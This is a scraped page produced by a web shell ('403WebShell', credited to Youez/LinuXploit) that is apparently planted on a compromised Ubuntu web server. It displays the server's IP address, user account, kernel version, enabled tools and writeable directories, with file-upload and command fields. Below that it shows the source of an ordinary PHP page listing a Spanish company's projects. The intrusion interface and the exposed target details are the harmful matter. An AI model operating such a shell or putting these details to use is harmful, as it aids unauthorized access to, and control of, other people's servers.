Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/araltecservicios/public/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/araltecservicios/public/pages/trabajo.php
<?php 
/**
 * trabajo.php
 */
use App\Model\ProjectModel;
$projectModel = new ProjectModel;

$projects = $projectModel->getProjects();
?>

<?php include 'template/header.php'; ?>

<div id="main">
	<div class="container py-5 my-2">
		<div class="row">
			<div class="display-5 pb-4">Nuestro Trabajo</div>
				<div class="row">
				<?php if ($projects->num_rows > 0) : ?>
					<?php foreach ($projects->rows as $project) : ?>
						<?php 
						$image_path = '/images/projects/project_' .
						$project['project_id'] . '/' .
						$project['image'];
						 ?>
						<div class="col-md-6 col-lg-4">
							<div class="card">
									<div class="project pointer" data-id="<?= $project['project_id'] ?>">
							  			<img src="<?= $image_path ?>" class="card-img-top" alt="...">
							  		</div>
							  <div class="p-2 card-body text-center text-xxl-start bg-blue-araltec text-white fs-5">
							  	<?= $project['title'] ?>
							  </div>
							</div>
							
						</div>
					<?php endforeach; ?>
				<?php else : ?>

				<?php endif; ?>
				</div>
		</div>
	</div>
</div>
<div id="gallery"></div>
<script>
	$('.project').on('click', function(){
		var id = $(this).data('id');
		console.log('debug: ' + id);
		$.ajax({
			method	: 'POST',
			url		: '/project-gallery',
			data	: {'id' : id},
			success	: function(html) {
				$('#gallery').css('display','block');
				$('#gallery').html(html);

			}
		});
	})
</script>
<?php include 'template/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit